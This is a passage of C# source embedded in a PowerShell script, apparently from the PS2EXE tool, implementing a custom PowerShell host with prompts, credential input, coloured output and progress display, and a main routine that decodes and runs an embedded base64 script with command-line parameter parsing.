					this.Location = new Point((System.Windows.Forms.Screen.FromControl(this).Bounds.Width - this.Width)/2, 0);
				}

				return;
			}

			if (currentProgress < 0)
			{
				ProgressData pd = new ProgressData();
				pd.ActivityId = objRecord.ActivityId;
				pd.ParentActivityId = objRecord.ParentActivityId;
				pd.Depth = 0;

				int nextid = -1;
				int parentid = -1;
				if (pd.ParentActivityId >= 0)
				{
					for (int i = 0; i < progressDataList.Count; i++)
					{
						if (progressDataList[i].ActivityId == pd.ParentActivityId)
						{ parentid = i;
							break;
						}
					}
				}

				if (parentid >= 0)
				{
					pd.Depth = progressDataList[parentid].Depth + 1;

					for (int i = parentid + 1; i < progressDataList.Count; i++)
					{
						if ((progressDataList[i].Depth < pd.Depth) || ((progressDataList[i].Depth == pd.Depth) && (progressDataList[i].ParentActivityId != pd.ParentActivityId)))
						{ nextid = i;
							break;
						}
					}
				}

				if (nextid == -1)
				{
					AddBar(ref pd, progressDataList.Count);
					currentProgress = progressDataList.Count;
					progressDataList.Add(pd);
				}
				else
				{
					AddBar(ref pd, nextid);
					currentProgress = nextid;
					progressDataList.Insert(nextid, pd);

					for (int i = currentProgress+1; i < progressDataList.Count; i++)
					{
						progressDataList[i].lblActivity.Top = 104*i + 10;
						progressDataList[i].lblStatus.Top = 104*i + 26;
						progressDataList[i].objProgressBar.Top = 104*i + 47;
						progressDataList[i].lblRemainingTime.Top = 104*i + 72;
						progressDataList[i].lblOperation.Top = 104*i + 88;
					}
				}
				if (104*progressDataList.Count + 43 <= System.Windows.Forms.Screen.FromControl(this).Bounds.Height)
				{
					this.Height = 104*progressDataList.Count + 43;
					this.Location = new Point((System.Windows.Forms.Screen.FromControl(this).Bounds.Width - this.Width)/2, (System.Windows.Forms.Screen.FromControl(this).Bounds.Height - this.Height)/2);
				}
				else
				{
					this.Height = System.Windows.Forms.Screen.FromControl(this).Bounds.Height;
					this.Location = new Point((System.Windows.Forms.Screen.FromControl(this).Bounds.Width - this.Width)/2, 0);
				}
			}

			if (!string.IsNullOrEmpty(objRecord.Activity))
				progressDataList[currentProgress].lblActivity.Text = objRecord.Activity;
			else
				progressDataList[currentProgress].lblActivity.Text = "";

			if (!string.IsNullOrEmpty(objRecord.StatusDescription))
				progressDataList[currentProgress].lblStatus.Text = objRecord.StatusDescription;
			else
				progressDataList[currentProgress].lblStatus.Text = "";

			if ((objRecord.PercentComplete >= 0) && (objRecord.PercentComplete <= 100))
			{
				progressDataList[currentProgress].objProgressBar.Value = objRecord.PercentComplete;
				progressDataList[currentProgress].objProgressBar.Visible = true;
			}
			else
			{ if (objRecord.PercentComplete > 100)
				{
					progressDataList[currentProgress].objProgressBar.Value = 0;
					progressDataList[currentProgress].objProgressBar.Visible = true;
				}
				else
					progressDataList[currentProgress].objProgressBar.Visible = false;
			}

			if (objRecord.SecondsRemaining >= 0)
			{
				System.TimeSpan objTimeSpan = new System.TimeSpan(0, 0, objRecord.SecondsRemaining);
				progressDataList[currentProgress].lblRemainingTime.Text = "Remaining time: " + string.Format("{0:00}:{1:00}:{2:00}", (int)objTimeSpan.TotalHours, objTimeSpan.Minutes, objTimeSpan.Seconds);
			}
			else
				progressDataList[currentProgress].lblRemainingTime.Text = "";

			if (!string.IsNullOrEmpty(objRecord.CurrentOperation))
				progressDataList[currentProgress].lblOperation.Text = objRecord.CurrentOperation;
			else
				progressDataList[currentProgress].lblOperation.Text = "";

			Application.DoEvents();
		}
	}
"@})

	// define IsInputRedirected(), IsOutputRedirected() and IsErrorRedirected() here since they were introduced first with .Net 4.5
	public class ConsoleInfo
	{
		private enum FileType : uint
		{
			FILE_TYPE_UNKNOWN = 0x0000,
			FILE_TYPE_DISK = 0x0001,
			FILE_TYPE_CHAR = 0x0002,
			FILE_TYPE_PIPE = 0x0003,
			FILE_TYPE_REMOTE = 0x8000
		}

		private enum STDHandle : uint
		{
			STD_INPUT_HANDLE = unchecked((uint)-10),
			STD_OUTPUT_HANDLE = unchecked((uint)-11),
			STD_ERROR_HANDLE = unchecked((uint)-12)
		}

		[DllImport("Kernel32.dll")]
		static private extern UIntPtr GetStdHandle(STDHandle stdHandle);

		[DllImport("Kernel32.dll")]
		static private extern FileType GetFileType(UIntPtr hFile);

		static public bool IsInputRedirected()
		{
			UIntPtr hInput = GetStdHandle(STDHandle.STD_INPUT_HANDLE);
			FileType fileType = (FileType)GetFileType(hInput);
			if ((fileType == FileType.FILE_TYPE_CHAR) || (fileType == FileType.FILE_TYPE_UNKNOWN))
				return false;
			return true;
		}

		static public bool IsOutputRedirected()
		{
			UIntPtr hOutput = GetStdHandle(STDHandle.STD_OUTPUT_HANDLE);
			FileType fileType = (FileType)GetFileType(hOutput);
			if ((fileType == FileType.FILE_TYPE_CHAR) || (fileType == FileType.FILE_TYPE_UNKNOWN))
				return false;
			return true;
		}

		static public bool IsErrorRedirected()
		{
			UIntPtr hError = GetStdHandle(STDHandle.STD_ERROR_HANDLE);
			FileType fileType = (FileType)GetFileType(hError);
			if ((fileType == FileType.FILE_TYPE_CHAR) || (fileType == FileType.FILE_TYPE_UNKNOWN))
				return false;
			return true;
		}
	}


	internal class PS2EXEHostUI : PSHostUserInterface
	{
		private PS2EXEHostRawUI rawUI = null;

		public ConsoleColor ErrorForegroundColor = ConsoleColor.Red;
		public ConsoleColor ErrorBackgroundColor = ConsoleColor.Black;

		public ConsoleColor WarningForegroundColor = ConsoleColor.Yellow;
		public ConsoleColor WarningBackgroundColor = ConsoleColor.Black;

		public ConsoleColor DebugForegroundColor = ConsoleColor.Yellow;
		public ConsoleColor DebugBackgroundColor = ConsoleColor.Black;

		public ConsoleColor VerboseForegroundColor = ConsoleColor.Yellow;
		public ConsoleColor VerboseBackgroundColor = ConsoleColor.Black;

$(if (!$noConsole) {@"
		public ConsoleColor ProgressForegroundColor = ConsoleColor.Yellow;
"@ } else {@"
		public ConsoleColor ProgressForegroundColor = ConsoleColor.DarkCyan;
"@ })
		public ConsoleColor ProgressBackgroundColor = ConsoleColor.DarkCyan;

		public PS2EXEHostUI() : base()
		{
			rawUI = new PS2EXEHostRawUI();
$(if (!$noConsole) {@"
			rawUI.ForegroundColor = Console.ForegroundColor;
			rawUI.BackgroundColor = Console.BackgroundColor;
"@ })
		}

		public override Dictionary<string, PSObject> Prompt(string caption, string message, System.Collections.ObjectModel.Collection<FieldDescription> descriptions)
		{
$(if (!$noConsole) {@"
			if (!string.IsNullOrEmpty(caption)) WriteLine(caption);
			if (!string.IsNullOrEmpty(message)) WriteLine(message);
"@ } else {@"
			if ((!string.IsNullOrEmpty(caption)) || (!string.IsNullOrEmpty(message)))
			{ string sTitel = System.AppDomain.CurrentDomain.FriendlyName, sMeldung = "";

				if (!string.IsNullOrEmpty(caption)) sTitel = caption;
				if (!string.IsNullOrEmpty(message)) sMeldung = message;
				MessageBox.Show(sMeldung, sTitel);
			}

			// Titel und Labeltext für Inputbox zurücksetzen
			ibcaption = "";
			ibmessage = "";
"@ })
			Dictionary<string, PSObject> ret = new Dictionary<string, PSObject>();
			foreach (FieldDescription cd in descriptions)
			{
				Type t = null;
				if (string.IsNullOrEmpty(cd.ParameterAssemblyFullName))
					t = typeof(string);
				else
					t = Type.GetType(cd.ParameterAssemblyFullName);

				if (t.IsArray)
				{
					Type elementType = t.GetElementType();
					Type genericListType = Type.GetType("System.Collections.Generic.List"+((char)0x60).ToString()+"1");
					genericListType = genericListType.MakeGenericType(new Type[] { elementType });
					ConstructorInfo constructor = genericListType.GetConstructor(BindingFlags.CreateInstance | BindingFlags.Instance | BindingFlags.Public, null, Type.EmptyTypes, null);
					object resultList = constructor.Invoke(null);

					int index = 0;
					string data = "";
					do
					{
						try
						{
$(if (!$noConsole) {@"
							if (!string.IsNullOrEmpty(cd.Name)) Write(string.Format("{0}[{1}]: ", cd.Name, index));
"@ } else {@"
							if (!string.IsNullOrEmpty(cd.Name)) ibmessage = string.Format("{0}[{1}]: ", cd.Name, index);
"@ })
							data = ReadLine();
							if (string.IsNullOrEmpty(data))
								break;

							object o = System.Convert.ChangeType(data, elementType);
							genericListType.InvokeMember("Add", BindingFlags.InvokeMethod | BindingFlags.Public | BindingFlags.Instance, null, resultList, new object[] { o });
						}
						catch (Exception e)
						{
							throw e;
						}
						index++;
					} while (true);

					System.Array retArray = (System.Array )genericListType.InvokeMember("ToArray", BindingFlags.InvokeMethod | BindingFlags.Public | BindingFlags.Instance, null, resultList, null);
					ret.Add(cd.Name, new PSObject(retArray));
				}
				else
				{
					object o = null;
					string l = null;
					try
					{
						if (t != typeof(System.Security.SecureString))
						{
							if (t != typeof(System.Management.Automation.PSCredential))
							{
$(if (!$noConsole) {@"
								if (!string.IsNullOrEmpty(cd.Name)) Write(cd.Name);
								if (!string.IsNullOrEmpty(cd.HelpMessage)) Write(" (Type !? for help.)");
								if ((!string.IsNullOrEmpty(cd.Name)) || (!string.IsNullOrEmpty(cd.HelpMessage))) Write(": ");
"@ } else {@"
								if (!string.IsNullOrEmpty(cd.Name)) ibmessage = string.Format("{0}: ", cd.Name);
								if (!string.IsNullOrEmpty(cd.HelpMessage)) ibmessage += "\n(Type !? for help.)";
"@ })
								do {
									l = ReadLine();
									if (l == "!?")
										WriteLine(cd.HelpMessage);
									else
									{
										if (string.IsNullOrEmpty(l)) o = cd.DefaultValue;
										if (o == null)
										{
											try {
												o = System.Convert.ChangeType(l, t);
											}
											catch {
												Write("Wrong format, please repeat input: ");
												l = "!?";
											}
										}
									}
								} while (l == "!?");
							}
							else
							{
								PSCredential pscred = PromptForCredential("", "", "", "");
								o = pscred;
							}
						}
						else
						{
$(if (!$noConsole) {@"
								if (!string.IsNullOrEmpty(cd.Name)) Write(string.Format("{0}: ", cd.Name));
"@ } else {@"
								if (!string.IsNullOrEmpty(cd.Name)) ibmessage = string.Format("{0}: ", cd.Name);
"@ })

							SecureString pwd = null;
							pwd = ReadLineAsSecureString();
							o = pwd;
						}

						ret.Add(cd.Name, new PSObject(o));
					}
					catch (Exception e)
					{
						throw e;
					}
				}
			}
$(if ($noConsole) {@"
			// Titel und Labeltext für Inputbox zurücksetzen
			ibcaption = "";
			ibmessage = "";
"@ })
			return ret;
		}

		public override int PromptForChoice(string caption, string message, System.Collections.ObjectModel.Collection<ChoiceDescription> choices, int defaultChoice)
		{
$(if ($noConsole) {@"
			int iReturn = ChoiceBox.Show(choices, defaultChoice, caption, message);
			if (iReturn == -1) { iReturn = defaultChoice; }
			return iReturn;
"@ } else {@"
			if (!string.IsNullOrEmpty(caption))
				WriteLine(caption);
			WriteLine(message);
			int idx = 0;
			SortedList<string, int> res = new SortedList<string, int>();
			foreach (ChoiceDescription cd in choices)
			{
				string lkey = cd.Label.Substring(0, 1), ltext = cd.Label;
				int pos = cd.Label.IndexOf('&');
				if (pos > -1)
				{
					lkey = cd.Label.Substring(pos + 1, 1).ToUpper();
					if (pos > 0)
						ltext = cd.Label.Substring(0, pos) + cd.Label.Substring(pos + 1);
					else
						ltext = cd.Label.Substring(1);
				}
				res.Add(lkey.ToLower(), idx);

				if (idx > 0) Write("  ");
				if (idx == defaultChoice)
				{
					Write(ConsoleColor.Yellow, Console.BackgroundColor, string.Format("[{0}] {1}", lkey, ltext));
					if (!string.IsNullOrEmpty(cd.HelpMessage))
						Write(ConsoleColor.Gray, Console.BackgroundColor, string.Format(" ({0})", cd.HelpMessage));
				}
				else
				{
					Write(ConsoleColor.Gray, Console.BackgroundColor, string.Format("[{0}] {1}", lkey, ltext));
					if (!string.IsNullOrEmpty(cd.HelpMessage))
						Write(ConsoleColor.Gray, Console.BackgroundColor, string.Format(" ({0})", cd.HelpMessage));
				}
				idx++;
			}
			Write(": ");

			try
			{
				while (true)
				{ string s = Console.ReadLine().ToLower();
					if (res.ContainsKey(s))
						return res[s];
					if (string.IsNullOrEmpty(s))
						return defaultChoice;
				}
			}
			catch { }

			return defaultChoice;
"@ })
		}

		public override PSCredential PromptForCredential(string caption, string message, string userName, string targetName, PSCredentialTypes allowedCredentialTypes, PSCredentialUIOptions options)
		{
$(if (!$noConsole -and !$credentialGUI) {@"
			if (!string.IsNullOrEmpty(caption)) WriteLine(caption);
			WriteLine(message);

			string un;
			if ((string.IsNullOrEmpty(userName)) || ((options & PSCredentialUIOptions.ReadOnlyUserName) == 0))
			{
				Write("User name: ");
				un = ReadLine();
			}
			else
			{
				Write("User name: ");
				if (!string.IsNullOrEmpty(targetName)) Write(targetName + "\\");
				WriteLine(userName);
				un = userName;
			}
			SecureString pwd = null;
			Write("Password: ");
			pwd = ReadLineAsSecureString();

			if (string.IsNullOrEmpty(un)) un = "<NOUSER>";
			if (!string.IsNullOrEmpty(targetName))
			{
				if (un.IndexOf('\\') < 0)
					un = targetName + "\\" + un;
			}

			PSCredential c2 = new PSCredential(un, pwd);
			return c2;
"@ } else {@"
			ik.PowerShell.CredentialForm.UserPwd cred = CredentialForm.PromptForPassword(caption, message, targetName, userName, allowedCredentialTypes, options);
			if (cred != null)
			{
				System.Security.SecureString x = new System.Security.SecureString();
				foreach (char c in cred.Password.ToCharArray())
					x.AppendChar(c);

				return new PSCredential(cred.User, x);
			}
			return null;
"@ })
		}

		public override PSCredential PromptForCredential(string caption, string message, string userName, string targetName)
		{
$(if (!$noConsole -and !$credentialGUI) {@"
			if (!string.IsNullOrEmpty(caption)) WriteLine(caption);
			WriteLine(message);

			string un;
			if (string.IsNullOrEmpty(userName))
			{
				Write("User name: ");
				un = ReadLine();
			}
			else
			{
				Write("User name: ");
				if (!string.IsNullOrEmpty(targetName)) Write(targetName + "\\");
				WriteLine(userName);
				un = userName;
			}
			SecureString pwd = null;
			Write("Password: ");
			pwd = ReadLineAsSecureString();

			if (string.IsNullOrEmpty(un)) un = "<NOUSER>";
			if (!string.IsNullOrEmpty(targetName))
			{
				if (un.IndexOf('\\') < 0)
					un = targetName + "\\" + un;
			}

			PSCredential c2 = new PSCredential(un, pwd);
			return c2;
"@ } else {@"
			ik.PowerShell.CredentialForm.UserPwd cred = CredentialForm.PromptForPassword(caption, message, targetName, userName, PSCredentialTypes.Default, PSCredentialUIOptions.Default);
			if (cred != null)
			{
				System.Security.SecureString x = new System.Security.SecureString();
				foreach (char c in cred.Password.ToCharArray())
					x.AppendChar(c);

				return new PSCredential(cred.User, x);
			}
			return null;
"@ })
		}

		public override PSHostRawUserInterface RawUI
		{
			get
			{
				return rawUI;
			}
		}

$(if ($noConsole) {@"
		private string ibcaption;
		private string ibmessage;
"@ })

		public override string ReadLine()
		{
$(if (!$noConsole) {@"
			return Console.ReadLine();
"@ } else {@"
			string sWert = "";
			if (InputBox.Show(ibcaption, ibmessage, ref sWert) == DialogResult.OK)
				return sWert;
			else
				return "";
"@ })
		}

		private System.Security.SecureString getPassword()
		{
			System.Security.SecureString pwd = new System.Security.SecureString();
			while (true)
			{
				ConsoleKeyInfo i = Console.ReadKey(true);
				if (i.Key == ConsoleKey.Enter)
				{
					Console.WriteLine();
					break;
				}
				else if (i.Key == ConsoleKey.Backspace)
				{
					if (pwd.Length > 0)
					{
						pwd.RemoveAt(pwd.Length - 1);
						Console.Write("\b \b");
					}
				}
				else if (i.KeyChar != '\u0000')
				{
					pwd.AppendChar(i.KeyChar);
					Console.Write("*");
				}
			}
			return pwd;
		}

		public override System.Security.SecureString ReadLineAsSecureString()
		{
			System.Security.SecureString secstr = new System.Security.SecureString();
$(if (!$noConsole) {@"
			secstr = getPassword();
"@ } else {@"
			string sWert = "";

			if (InputBox.Show(ibcaption, ibmessage, ref sWert, true) == DialogResult.OK)
			{
				foreach (char ch in sWert)
					secstr.AppendChar(ch);
			}
"@ })
			return secstr;
		}

		// called by Write-Host
		public override void Write(ConsoleColor foregroundColor, ConsoleColor backgroundColor, string value)
		{
$(if (!$noOutput) { if (!$noConsole) {@"
			ConsoleColor fgc = Console.ForegroundColor, bgc = Console.BackgroundColor;
			Console.ForegroundColor = foregroundColor;
			Console.BackgroundColor = backgroundColor;
			Console.Write(value);
			Console.ForegroundColor = fgc;
			Console.BackgroundColor = bgc;
"@ } else {@"
			if ((!string.IsNullOrEmpty(value)) && (value != "\n"))
				MessageBox.Show(value, System.AppDomain.CurrentDomain.FriendlyName);
"@ } })
		}

		public override void Write(string value)
		{
$(if (!$noOutput) { if (!$noConsole) {@"
			Console.Write(value);
"@ } else {@"
			if ((!string.IsNullOrEmpty(value)) && (value != "\n"))
				MessageBox.Show(value, System.AppDomain.CurrentDomain.FriendlyName);
"@ } })
		}

		// called by Write-Debug
		public override void WriteDebugLine(string message)
		{
$(if (!$noError) { if (!$noConsole) {@"
			WriteLineInternal(DebugForegroundColor, DebugBackgroundColor, string.Format("DEBUG: {0}", message));
"@ } else {@"
			MessageBox.Show(message, System.AppDomain.CurrentDomain.FriendlyName, MessageBoxButtons.OK, MessageBoxIcon.Information);
"@ } })
		}

		// called by Write-Error
		public override void WriteErrorLine(string value)
		{
$(if (!$noError) { if (!$noConsole) {@"
			if (ConsoleInfo.IsErrorRedirected())
				Console.Error.WriteLine(string.Format("ERROR: {0}", value));
			else
				WriteLineInternal(ErrorForegroundColor, ErrorBackgroundColor, string.Format("ERROR: {0}", value));
"@ } else {@"
			MessageBox.Show(value, System.AppDomain.CurrentDomain.FriendlyName, MessageBoxButtons.OK, MessageBoxIcon.Error);
"@ } })
		}

		public override void WriteLine()
		{
$(if (!$noOutput) { if (!$noConsole) {@"
			Console.WriteLine();
"@ } else {@"
			MessageBox.Show("", System.AppDomain.CurrentDomain.FriendlyName);
"@ } })
		}

		public override void WriteLine(ConsoleColor foregroundColor, ConsoleColor backgroundColor, string value)
		{
$(if (!$noOutput) { if (!$noConsole) {@"
			ConsoleColor fgc = Console.ForegroundColor, bgc = Console.BackgroundColor;
			Console.ForegroundColor = foregroundColor;
			Console.BackgroundColor = backgroundColor;
			Console.WriteLine(value);
			Console.ForegroundColor = fgc;
			Console.BackgroundColor = bgc;
"@ } else {@"
			if ((!string.IsNullOrEmpty(value)) && (value != "\n"))
				MessageBox.Show(value, System.AppDomain.CurrentDomain.FriendlyName);
"@ } })
		}

$(if (!$noError -And !$noConsole) {@"
		private void WriteLineInternal(ConsoleColor foregroundColor, ConsoleColor backgroundColor, string value)
		{
			ConsoleColor fgc = Console.ForegroundColor, bgc = Console.BackgroundColor;
			Console.ForegroundColor = foregroundColor;
			Console.BackgroundColor = backgroundColor;
			Console.WriteLine(value);
			Console.ForegroundColor = fgc;
			Console.BackgroundColor = bgc;
		}
"@ })

		// called by Write-Output
		public override void WriteLine(string value)
		{
$(if (!$noOutput) { if (!$noConsole) {@"
			Console.WriteLine(value);
"@ } else {@"
			if ((!string.IsNullOrEmpty(value)) && (value != "\n"))
				MessageBox.Show(value, System.AppDomain.CurrentDomain.FriendlyName);
"@ } })
		}

$(if ($noConsole) {@"
		public ProgressForm pf = null;
"@ })
		public override void WriteProgress(long sourceId, ProgressRecord record)
		{
$(if ($noConsole) {@"
			if (pf == null)
			{
				pf = new ProgressForm(ProgressForegroundColor);
				pf.Show();
			}
			pf.Update(record);
			if (record.RecordType == ProgressRecordType.Completed)
			{
				if (pf.GetCount() == 0) pf = null;
			}
"@ })
		}

		// called by Write-Verbose
		public override void WriteVerboseLine(string message)
		{
$(if (!$noOutput) { if (!$noConsole) {@"
			WriteLine(VerboseForegroundColor, VerboseBackgroundColor, string.Format("VERBOSE: {0}", message));
"@ } else {@"
			MessageBox.Show(message, System.AppDomain.CurrentDomain.FriendlyName, MessageBoxButtons.OK, MessageBoxIcon.Information);
"@ } })
		}

		// called by Write-Warning
		public override void WriteWarningLine(string message)
		{
$(if (!$noError) { if (!$noConsole) {@"
			WriteLineInternal(WarningForegroundColor, WarningBackgroundColor, string.Format("WARNING: {0}", message));
"@ } else {@"
			MessageBox.Show(message, System.AppDomain.CurrentDomain.FriendlyName, MessageBoxButtons.OK, MessageBoxIcon.Warning);
"@ } })
		}
	}

	internal class PS2EXEHost : PSHost
	{
		private PS2EXEApp parent;
		private PS2EXEHostUI ui = null;

		private CultureInfo originalCultureInfo = System.Threading.Thread.CurrentThread.CurrentCulture;

		private CultureInfo originalUICultureInfo = System.Threading.Thread.CurrentThread.CurrentUICulture;

		private Guid myId = Guid.NewGuid();

		public PS2EXEHost(PS2EXEApp app, PS2EXEHostUI ui)
		{
			this.parent = app;
			this.ui = ui;
		}

		public class ConsoleColorProxy
		{
			private PS2EXEHostUI _ui;

			public ConsoleColorProxy(PS2EXEHostUI ui)
			{
				if (ui == null) throw new ArgumentNullException("ui");
				_ui = ui;
			}

			public ConsoleColor ErrorForegroundColor
			{
				get
				{ return _ui.ErrorForegroundColor; }
				set
				{ _ui.ErrorForegroundColor = value; }
			}

			public ConsoleColor ErrorBackgroundColor
			{
				get
				{ return _ui.ErrorBackgroundColor; }
				set
				{ _ui.ErrorBackgroundColor = value; }
			}

			public ConsoleColor WarningForegroundColor
			{
				get
				{ return _ui.WarningForegroundColor; }
				set
				{ _ui.WarningForegroundColor = value; }
			}

			public ConsoleColor WarningBackgroundColor
			{
				get
				{ return _ui.WarningBackgroundColor; }
				set
				{ _ui.WarningBackgroundColor = value; }
			}

			public ConsoleColor DebugForegroundColor
			{
				get
				{ return _ui.DebugForegroundColor; }
				set
				{ _ui.DebugForegroundColor = value; }
			}

			public ConsoleColor DebugBackgroundColor
			{
				get
				{ return _ui.DebugBackgroundColor; }
				set
				{ _ui.DebugBackgroundColor = value; }
			}

			public ConsoleColor VerboseForegroundColor
			{
				get
				{ return _ui.VerboseForegroundColor; }
				set
				{ _ui.VerboseForegroundColor = value; }
			}

			public ConsoleColor VerboseBackgroundColor
			{
				get
				{ return _ui.VerboseBackgroundColor; }
				set
				{ _ui.VerboseBackgroundColor = value; }
			}

			public ConsoleColor ProgressForegroundColor
			{
				get
				{ return _ui.ProgressForegroundColor; }
				set
				{ _ui.ProgressForegroundColor = value; }
			}

			public ConsoleColor ProgressBackgroundColor
			{
				get
				{ return _ui.ProgressBackgroundColor; }
				set
				{ _ui.ProgressBackgroundColor = value; }
			}
		}

		public override PSObject PrivateData
		{
			get
			{
				if (ui == null) return null;
				return _consoleColorProxy ?? (_consoleColorProxy = PSObject.AsPSObject(new ConsoleColorProxy(ui)));
			}
		}

		private PSObject _consoleColorProxy;

		public override System.Globalization.CultureInfo CurrentCulture
		{
			get
			{
				return this.originalCultureInfo;
			}
		}

		public override System.Globalization.CultureInfo CurrentUICulture
		{
			get
			{
				return this.originalUICultureInfo;
			}
		}

		public override Guid InstanceId
		{
			get
			{
				return this.myId;
			}
		}

		public override string Name
		{
			get
			{
				return "PS2EXE_Host";
			}
		}

		public override PSHostUserInterface UI
		{
			get
			{
				return ui;
			}
		}

		public override Version Version
		{
			get
			{
				return new Version(0, 5, 0, 21);
			}
		}

		public override void EnterNestedPrompt()
		{
		}

		public override void ExitNestedPrompt()
		{
		}

		public override void NotifyBeginApplication()
		{
			return;
		}

		public override void NotifyEndApplication()
		{
			return;
		}

		public override void SetShouldExit(int exitCode)
		{
			this.parent.ShouldExit = true;
			this.parent.ExitCode = exitCode;
		}
	}

	internal interface PS2EXEApp
	{
		bool ShouldExit { get; set; }
		int ExitCode { get; set; }
	}

	internal class PS2EXE : PS2EXEApp
	{
		private bool shouldExit;

		private int exitCode;

		public bool ShouldExit
		{
			get { return this.shouldExit; }
			set { this.shouldExit = value; }
		}

		public int ExitCode
		{
			get { return this.exitCode; }
			set { this.exitCode = value; }
		}

		$(if ($STA){"[STAThread]"})$(if ($MTA){"[MTAThread]"})
		private static int Main(string[] args)
		{
			$culture

			$(if (!$noVisualStyles -and $noConsole) { "Application.EnableVisualStyles();" })
			PS2EXE me = new PS2EXE();

			bool paramWait = false;
			string extractFN = string.Empty;

			PS2EXEHostUI ui = new PS2EXEHostUI();
			PS2EXEHost host = new PS2EXEHost(me, ui);
			System.Threading.ManualResetEvent mre = new System.Threading.ManualResetEvent(false);

			AppDomain.CurrentDomain.UnhandledException += new UnhandledExceptionEventHandler(CurrentDomain_UnhandledException);

			try
			{
				using (Runspace myRunSpace = RunspaceFactory.CreateRunspace(host))
				{
					$(if ($STA -or $MTA) {"myRunSpace.ApartmentState = System.Threading.ApartmentState."})$(if ($STA){"STA"})$(if ($MTA){"MTA"});
					myRunSpace.Open();

					using (System.Management.Automation.PowerShell powershell = System.Management.Automation.PowerShell.Create())
					{
$(if (!$noConsole) {@"
						Console.CancelKeyPress += new ConsoleCancelEventHandler(delegate(object sender, ConsoleCancelEventArgs e)
						{
							try
							{
								powershell.BeginStop(new AsyncCallback(delegate(IAsyncResult r)
								{
									mre.Set();
									e.Cancel = true;
								}), null);
							}
							catch
							{
							};
						});
"@ })

						powershell.Runspace = myRunSpace;
						powershell.Streams.Error.DataAdded += new EventHandler<DataAddedEventArgs>(delegate(object sender, DataAddedEventArgs e)
						{
							ui.WriteErrorLine(((PSDataCollection<ErrorRecord>)sender)[e.Index].ToString());
						});

						PSDataCollection<string> colInput = new PSDataCollection<string>();
$(if (!$runtime20) {@"
						if (ConsoleInfo.IsInputRedirected())
						{ // read standard input
							string sItem = "";
							while ((sItem = Console.ReadLine()) != null)
							{ // add to powershell pipeline
								colInput.Add(sItem);
							}
						}
"@ })
						colInput.Complete();

						PSDataCollection<PSObject> colOutput = new PSDataCollection<PSObject>();
						colOutput.DataAdded += new EventHandler<DataAddedEventArgs>(delegate(object sender, DataAddedEventArgs e)
						{
							ui.WriteLine(colOutput[e.Index].ToString());
						});

						int separator = 0;
						int idx = 0;
						foreach (string s in args)
						{
							if (string.Compare(s, "-wait", true) == 0)
								paramWait = true;
							else if (s.StartsWith("-extract", StringComparison.InvariantCultureIgnoreCase))
							{
								string[] s1 = s.Split(new string[] { ":" }, 2, StringSplitOptions.RemoveEmptyEntries);
								if (s1.Length != 2)
								{
$(if (!$noConsole) {@"
									Console.WriteLine("If you specify the -extract option you need to add a file for extraction in this way\r\n   -extract:\"<filename>\"");
"@ } else {@"
									MessageBox.Show("If you specify the -extract option you need to add a file for extraction in this way\r\n   -extract:\"<filename>\"", System.AppDomain.CurrentDomain.FriendlyName, MessageBoxButtons.OK, MessageBoxIcon.Error);
"@ })
									return 1;
								}
								extractFN = s1[1].Trim(new char[] { '\"' });
							}
							else if (string.Compare(s, "-end", true) == 0)
							{
								separator = idx + 1;
								break;
							}
							else if (string.Compare(s, "-debug", true) == 0)
							{
								System.Diagnostics.Debugger.Launch();
								break;
							}
							idx++;
						}

						string script = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(@"$($script)"));

						if (!string.IsNullOrEmpty(extractFN))
						{
							System.IO.File.WriteAllText(extractFN, script);
							return 0;
						}

						powershell.AddScript(script);

						// parse parameters
						string argbuffer = null;
						// regex for named parameters
						System.Text.RegularExpressions.Regex regex = new System.Text.RegularExpressions.Regex(@"^-([^: ]+)[ :]?([^:]*)$");

						for (int i = separator; i < args.Length; i++)
						{
							System.Text.RegularExpressions.Match match = regex.Match(args[i]);
							if (match.Success && match.Groups.Count == 3)
							{ // parameter in powershell style, means named parameter found
								if (argbuffer != null) // already a named parameter in buffer, then flush it
									powershell.AddParameter(argbuffer);

								if (match.Groups[2].Value.Trim() == "")
								{ // store named parameter in buffer
									argbuffer = match.Groups[1].Value;
								}
								else
									// caution: when called in powershell $TRUE gets converted, when called in cmd.exe not
									if ((match.Groups[2].Value == "$TRUE") || (match.Groups[2].Value.ToUpper() == "\x24TRUE"))
									{ // switch found
										powershell.AddParameter(match.Groups[1].Value, true);
										argbuffer = null;
									}
									else
										// caution: when called in powershell $FALSE gets converted, when called in cmd.exe not
										if ((match.Groups[2].Value == "$FALSE") || (match.Groups[2].Value.ToUpper() == "\x24"+"FALSE"))
										{ // switch found
											powershell.AddParameter(match.Groups[1].Value, false);
											argbuffer = null;
										}
										else
										{ // named parameter with value found
											powershell.AddParameter(match.Groups[1].Value, match.Groups[2].Value);
											argbuffer = null;
										}
							}
							else
							{ // unnamed parameter found
								if (argbuffer != null)
								{ // already a named parameter in buffer, so this is the value
									powershell.AddParameter(argbuffer, args[i]);
									argbuffer = null;
								}
								else
								{ // position parameter found
									powershell.AddArgument(args[i]);
								}
							}
						}

						if (argbuffer != null) powershell.AddParameter(argbuffer); // flush parameter buffer...

						// convert output to strings
						powershell.AddCommand("out-string");
						// with a single string per line
						powershell.AddParameter("stream");

						powershell.BeginInvoke<string, PSObject>(colInput, colOutput, null, new AsyncCallback(delegate(IAsyncResult ar)
						{
							if (ar.IsCompleted)
								mre.Set();
						}), null);

						while (!me.ShouldExit && !mre.WaitOne(100))
						{ };

						powershell.Stop();

						if (powershell.InvocationStateInfo.State == PSInvocationState.Failed)
							ui.WriteErrorLine(powershell.InvocationStateInfo.Reason.Message);
					}

					myRunSpace.Close();
				}
			}
			catch (Exception ex)
			{
$(if (!$noError) { if (!$noConsole) {@"
				Console.Write("An exception occured: ");
				Console.WriteLine(ex.Message);
"@ } else {@"
				MessageBox.Show("An exception occured: " + ex.Message, System.AppDomain.CurrentDomain.FriendlyName, MessageBoxButtons.OK, MessageBoxIcon.Error);
"@ } })
			}

			if (paramWait)
			{
$(if (!$noConsole) {@"
				Console.WriteLine("Hit any key to exit...");
				Console.ReadKey();
"@ } else {@"
				MessageBox.Show("Click OK to exit...", System.AppDomain.CurrentDomain.FriendlyName);
"@ })
			}
			return me.ExitCode;
		}

		static void CurrentDomain_UnhandledException(object sender, UnhandledExceptionEventArgs e)
		{
			throw new Exception("Unhandled exception in PS2EXE");
		}
	}
}
"@

$configFileForEXE2 = "<?xml version=""1.0"" encoding=""utf-8"" ?>`r`n<configuration><startup><supportedRuntime version=""v2.0.50727""/></startup></configuration>"
